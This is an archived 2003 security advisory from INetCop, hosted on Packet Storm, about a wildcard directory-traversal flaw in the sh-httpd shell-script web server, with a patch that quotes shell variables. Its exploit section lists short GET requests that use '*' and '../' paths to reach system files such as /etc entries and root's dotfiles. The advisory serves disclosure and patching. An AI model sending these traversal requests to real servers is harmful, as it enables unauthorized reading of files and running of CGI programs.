exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

sh-httpd.txt

sh-httpd.txt
Posted Oct 30, 2003
Authored by Xpl017Elz | Site x82.inetcop.org

Sh-httpd v0.3 and 0.4 contain a remote directory traversal vulnerability involving a wildcard character which allows attackers to read any file on the system and execute CGI's. Patch included.

tags | exploit, remote, cgi
SHA-256 | a0ae3eee45856fba670f376c41e9f3a32c4c4558388732713876b66cc0eabf20

sh-httpd.txt

Change Mirror Download


========================================
INetCop Security Advisory #2003-0x82-019
========================================


* Title: sh-httpd `wildcard character' vulnerability


0x01. Description


About:
sh-httpd is a shell script-based Web server that supports GET and HEAD methods, and a CGI 1.1 interface.
It's not real fast, and it's probably not real secure, but it is really small.
The Web server and it's configuration files are around 9,000 bytes total,
and that's with comments and pretty whitespace.
If you can run ash or bash, an inetd, and about 7 standard external commands on your system,
you can have a Web server with CGI support.
There's also a timeout counter that kills never-ending CGI programs, cleans up, and exits.

More detailed information is: http://lrp.steinkuehler.net/Packages/weblet.htm

Vulnerabilty happens '*' because don't filtering.
Through this character, can know existence of files to directory.


0x02. Vulnerable Packages


Vendor site: http://lrp.steinkuehler.net/Packages/weblet.htm

sh-httpd-0.4
-sh-httpd-0.4.tgz
+Unix
+Linux
+Other

sh-httpd-0.3
-sh-httpd-0.3.tgz


0x03. Exploit


This is very easy.
Only, as using '*', can read file of web directory freely or execute CGI.

For example, is as following.

GET *
GET ../../../sh-httpd/p*
GET /../../etc/s*
GET ../../root/.b*

You can read file path or contents, and if it is CGI, can execute. :-)


0x04. Patch


=== sh-httpd.patch ===

--- sh-httpd-0.4/sh-httpd Mon Oct 9 11:28:05 2000
+++ sh-httpd.patch Sat Jul 19 08:51:44 2003
@@ -31,7 +31,7 @@

bname() {
local IFS='/'
- set -- $1
+ set -- "$1"
eval rc="\$$#"
[ "$rc" = "" ] && eval rc="\$$(($# - 1))"
echo "$rc"
@@ -262,7 +262,7 @@

# Split URI into base and query string at ?
IFS='?'
- set -- $URI
+ set -- "$URI"
QUERY_STRING="$2"
URL="$1"
IFS=$OIFS
@@ -292,7 +292,7 @@
fi

DIR="`dname $URL`"
- FILE="`bname $URL`"
+ FILE="`bname "$URL"`"

# Check for existance of directory
if [ ! -d "$DOCROOT/$DIR" ]; then
=== eof ===


P.S: Sorry, for my poor english.


--
By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: szoahc(at)hotmail(dot)com,
xploit(at)hackermail(dot)com

INetCop Security Home: http://www.inetcop.org (Korean hacking game)
My World: http://x82.i21c.net & http://x82.inetcop.org

GPG public key: http://x82.inetcop.org/h0me/pr0file/x82.k3y
--


--
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close